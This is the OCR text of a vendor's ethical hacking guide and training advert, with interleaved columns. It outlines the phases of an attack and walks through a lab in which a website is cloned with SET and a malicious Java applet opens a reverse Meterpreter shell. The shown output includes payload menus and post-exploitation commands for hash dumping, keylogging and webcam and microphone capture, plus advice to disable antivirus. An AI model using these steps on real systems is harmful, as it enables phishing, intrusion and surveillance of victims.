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Introduction gaining and maintaining access, to hiding the evidence of an
attack, the Guide offers often thought-provoking insights into the

In this Guide to Ethical Hacking, Matt Ford of Foursys sets techniques and secrets of malicious hackers.

out the definition, goals and processes involved in the use

of ethical hacking. With example lab tests that can be readily used by IT
Using practical examples, the guide covers the 5 key phases of professionals, the “Quick Start Guide to Ethical Hacking” offers a
comprehensive look at the methods used, helping you stay a step
ahead of the hackers by understanding their mind-set. Crucially, it

will also help you put the necessary measures in place to prevent

hacking typically used by hackers to gain access to networks that
IT Administrators all too often believe are secure.

From initial network and system reconnaissance of target

) ) . them compromising your network.
networks, to scanning for possible areas of vulnerability, through

The definition of Ethical Hacking as

described by the Ethical Hacking Council

is:
Having said this, it is important not to
underestimate the value a series of
simple scans can offer without having to
delve into the world of full-on Penetration
Testing.

There is also an important distinction These scans offer a fairly easy and

The important factor in this description to make with testing terminology, as inexpensive way of showing up holes
is that as an Ethical Hacker we “stay “Pen Testing” is often used to cover all

within the scope of our legal limits”. aspects.

across the network without the risks
of potential exploitation methods that
go with a hacking scenario, albeit that

While a malicious attacker would not be

constrained by these boundaries, it is Penetration Testing or Ethical Hacking

: : : will result in a far more comprehensive
imperative that as an Ethical Hacker we P

conform to a structured framework and OIS S [EEE,

a clear scope when providing internal or In summary, while the goals of each

external Penetration Tests or Network Ethical Hacking engagement might be

Security Assessments, whether for the different (e.g. looking at data security

company we work for or as a contracted
third party.

or Domain Administrator access), it is
always beneficial to get as close as

So, as an Ethical Hacker, are our goals possible to a “real world” scenario.

are to:

© 2015 Foursys. All rights reserved
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The 5 phases of hacking

Reconnaissance

- Active

- Passive
Scanning

Gaining access
Maintaining access

Covering your tracks

Reconnaissance is the “information

gathering” phase around a target in
preparation for an attack. This is often
over looked by IT Administrators as
they concentrate on the more technical
side of their infrastructure, but the more
information that can be gathered around
a target, the easier it will be to narrow
down the attack vector and increase the
chances of the hack being successful.

Gathering all this information will allow
you to be more proficient with Social
Engineering or Spear Phishing attacks,
for example.
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The reconnaissance phase is often
split into two further areas, Active and
Passive. Passive allows you to collect
data without any contact with the
target, while active involves closer
contact with the target and
therefore more risk.

When it comes to passive
information gathering, numerous
tools can be used to collate data
from various sources and build a
picture of your target. Network

information is an obvious one such
as gathering WHOIS or external IP
details, but using various applications

this process can be taken a step further
by collecting metadata from documents,
obtaining e-mail addresses, discovering
usernames, understanding which
products are in use and so on.

Social media also lets you tie in certain
individuals to a job role, or site location
and used in conjunction with social
engineering skills can result in a huge
amount of information being put at your
disposal. Many IT Administrators know
this information is out there, but either

fail to see a way of managing these
details, or don’t see the dangers of all this
information being presented in one report
as particularly serious.

Active reconnaissance involves the
hacker interacting directly with the target
in some way and will often bleed over into
the second phase, Scanning. This can

be anything from port scanning external
IP addresses to running web application
scans on external facing web servers.

There is clear overlap between network
scanning and active reconnaissance,
however in this phase the hacker will
gather as much technical information
about the network infrastructure as
possible to increase the chances of a
successful entry into that network.

This information can range from simple
tools, such as traceroute or ping, to

full network sweeps using NMAP and
a vulnerability scanner. Gathering
information such as network routes,
open port information and server roles
is clearly a very important discovery
process for any hacker.

While the exact process might change
depending on the engagement, an

example flow of information gathering
from a scan could look something like:

Tools like NMAP and vulnerability
scanners are invaluable to a hacker as
they enable an easy, scripted approach
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to scanning entire IP ranges and return
a huge amount of information which the
attacker can run through at their leisure
looking for a way in. Meanwhile, while
IT Administrators are concerned with
covering all aspects across their estate
from open ports to OS and application
patching.

While there are many methods such as
Intrusion Prevention Systems to hinder
the attacker, IT Administrators cannot rest
on their laurels as these systems can be
circumvented using evasion techniques at
the Network or Application layers.

When it comes to gaining and maintaining
access to a compromised system, we
move from vulnerability scanning to full
Ethical Hacking.

In order to gain access to a network

it is necessary to find and exploit a
particular vulnerability such as the OS,
an application or an end user. Gaining
access into systems can be done in a
variety of ways, depending on what the
hacker is trying to achieve, being local,
across the LAN, or remotely via the
Internet.

SQL injection attacks using tools such

as SQLMAP can enable not only data
theft and manipulation but also credential
theft and command line access to a
server. Viruses, java exploits, DLL
hijacking, compromised wireless access
points, DDOS attacks, session hijacking,
call back software in malware - and
many others - are all ways which an
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attacker may gain access to a system.
Phishing and Spear Phishing are also
very popular ways of trying to enter a
network, by attempting to fool people into
downloading malicious software.

When we talk about “access to a
compromised system”, what do we mean?

Take an end user machine as an
example. When a piece of malware is
run, the attacker can gain access via a
specially crafted command line with the
same privileges as that user. From here,
it is possible not only to try and escalate
these privileges, but to download files,
set up a keylogger, enable the webcam
and microphone, take a copy of local user
account passwords for cracking - and
much more.

Of course, this machine can then be used
as a stepping stone to gain access to
servers and systems across the rest of
the network including domain controllers,
finance systems, database servers and
other file servers.

Once a hacker gains control of a
machine, there can be great benefit in
maintaining access to this machine,
depending on what they are trying to
achieve. Creating backdoors into the
system will allow future access at the
hacker’s will without the need for user
interaction, particularly if the vulnerability
that was originally used is subsequently
patched. By using Rootkits, a hacker can
upload and run Trojans, or tools such as
NetCat to gain access again at any time.

Modified host files or registry keys will
also ensure that this access is enabled,
even after the machine in question has
been rebooted.

Tools can also be used to scrape
information from various network drives,
to sniff network traffic and send it back
to a central server over a period of time.
This reduces the amount of time that

an attacker needs to be active on the
network and thus reduces their risk.

Finally, hackers can introduce extra
layers of security to a machine to stop
other attackers from gaining access
over “their” system. It is not unheard of
for a network compromise to last weeks
or even months, with attackers slowly
syphoning off information.

Covering of tracks is a key element for
any hacker. The reason for this is to
ensure continued access, or to steal
information and get out without anybody
knowing they were there.

Attacking a system is likely to leave a
trace, whether in Event logs as with
some Buffer Overflow exploits, or IP
addresses in firewall logs. Destroying
these logs will remove all evidence of
any activity across the system. They
may also look out for any syslog servers,
as this not only assists in deleting a
large number of log files in one swoop,
but can also be used before deleting

to obtain further information about the
network. Manipulating these event logs
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Example Lab
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99) Return back to the main menu.

The Web-Jacking Attack method was introduced by white sheep, emgent. This meth
utilizes iframe replacements to make the highlighted URL 1link to appear legit
ate however when clicked a window pops up then is replaced with the malicious
nk. You can edit the link replacement settings in the set_config if its too sl«
/fast.

The Multi-Attack method will add a combination of attacks through the web attac
menu. For example you can utilize the Java Applet, Metasploit Browser, Credent
al Harvester/Tabnabbing all at once to see which is successful.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Full Screen Attack Method

99) Return to Main Menu




1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

et :webattack>2

[-1 NAT/Port Forwarding can be used in the cases where your SET machine is

[-] not externally exposed and may be a different IP address than your reverse 1
istener.

cet> Are you using NAT/Port Forwarding [yes|no]: no

[-]1 Enter the IP address of your interface IP or if your using an external IP, w
hat

[-] will be used for the connection back and to house the web server (your inter

Next we need to specify whether you will use your own self gene
own code signed java applet. In this section, you have all th
a self-signed certificate if you have the java jdk installed.

to SET, and the third will allow you to import your own java af
you have a certificate.

Select which option you want:

1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2
[*] Okay! Using the one built into SET - be careful, self signe
H

[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
et : ittack> Enter the url to clone:www.foursys.co.uk

Cloning the website: http://www.foursys.co.uk
This could take a little bit...

Malicious j

What payload do you want to generate:
Name : Description:

1) Windows Shell Reverse_TCP Spawn a command shell on victim and ser
2) Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim anc

3) Windows Reverse TCP VNC DLL Spawn a VNC server on victim and send t
4) Windows Bind Shell Execute payload and create an accepting

5) Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inl
6) Windows Shell Reverse TCP X64 Windows X64 Command Shell, Reverse TCP
7) Windows Meterpreter Reverse TCP X64 Connect back to the attacker (Windows x
8) Windows Meterpreter All Ports Spawn a meterpreter shell and find a pc
9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using S<
10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address
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The publisher is something that can be modified with the
certificate settings we mentioned earlier to add extra authenticity.
After all, why wouldn’t an end user trust a Java applet from their
own company website? The moment the user accepts the risks
and clicks on the Run command, the exploit is fired and the

user is redirected to the actual website. No further interaction is

required on the user’s part, the attack has been successful.

From the Kali Linux box you will see a session created, which is

the connection into this remote machine.

If you type sessions you will see the connections you are able to

interact with. It should look something like this:

Q“_‘[ Ca'i{‘:'\ ﬁ]r‘

Active sessions

Information

meterpreter xB86/win HERBERT\Matt

» Sessions —i 1

Typing the ? character will give you a list of things you are now
able to do and the list is far too long to go into a quick start guide,
but a few notable ones include:

+ Getuid — Lists the user you are logged in as. This will be the
user who was logged in at the time the applet was run,

including all their network permissions.
+ Sysinfo — Information regarding the system you are on.

+ Hashdump — Dumps local account hashes to screen if you
have the correct permissions.

+ Keyscan_start — Starts a keylogger.

Webcam_snap — Takes a snapshot of what the webcam can
currently see.

+ Record_mic — Sets the local microphone to record and listen to

conversations.
+ Download — Downloads files of your choice.

With all these tools, it is worth taking some time to read up on

everything you can do.

@ HERBERT

192

.168.0.14:443

Connection

-> 192.168.0.11:49644 (192.168.0.11)

Computer

no
uS

Architecture
System Language : en
Meterpreter 3

atuid
HERBERT\Matt
ysinfo
: HERBERT
wWindows
X80

Vista

(Build 6002,

/wWins3d

meter

Troubleshooting:

As with all exploits there are conditions that need to be met
for them to work. If you are having trouble with this lab, try the
following:

» Disable AV — we have selected “No Encoding” as part of this
lab, so AV will get in the way.

+ Lower Java permissions — if the Java security settings are high
then the malicious app will not run.

You may wonder why this is a useful exploit if these conditions
have to be met. There have been numerous times during
assessments where | have seen AV disabled or running at a
reduced security setting and the same can be said of the Java
settings given the number of Java applets used on bespoke
applications.

With all potential attacks, the more information you can obtain
through the Reconnaissance/Information Gathering phase, the
more prepared you will be with your exploits.

Service




Ethical Hacking Courses Armed with this knowledge and understanding our trainer will

then discuss and advise on the range of preventative measures

Foursys offers one day Ethical Hacking Training Courses you can undergo to secure your network from these specific

designed to teach you some techniques and tools used by white malicious attacks.

hat hackers to help you better secure your organisation from the

latest targeted attacks. This fascinating, educational and enjoyable course gives each
delegate a laptop, a course manual and all the tools to carry out

One of our experts will delve into the world of ethical hacking and these techniques to vulnerability test your own network when you

teach you some techniques and tools used by white hat hackers return. The course can also be tailored to any specific threats or

to help you better secure your organisation from the latest attacks you'd like to focus on as long as suitable notice is given.

targeted attacks.
To find a course in your local area visit:

The intensive day course will discuss the theory behind attacks
covering in detail: https://www.foursys.co.uk/events
+ Reconnaissance

+ Scanning

» Gaining Access

+ Maintaining Access

» Covering Tracks 20% off!

After which you’ll then get taught and carry out some of the
most common attacks used by cyber criminals to exploit your

organisation. The types of attacks you’ll learn are: When you use
. Identifying vulnerable machines promo code

§ )
» Exploiting windows vulnerabilities INFOSEC at

time of
booking.

- Exploiting application vulnerabilities
+ SQL Injection techniques
- Password Scanning

+ Malware/Trojans

+ Social Engineering o .

Contact us

Main Switchboard Head Office 20 years of IT security excellence
+44 (0) 1284 788900 Manor Park, We live for IT security, we think about it 24/7, we breathe it, eat it, we are it.

) Great Barton, It's what we do; it’s why we’re here and at your service to protect you from
Technical Support

+44 (0) 1284 788901

Bury St Edmunds, the bad guys. It doesn’t matter if you're an NHS, government, education,
IP31 2QR, United Kingdom SMB or enterprise organisation — we’ve had all of your backs for over two
Email decades.

enquiries@foursys.co.uk www.fou rsys.co.u k




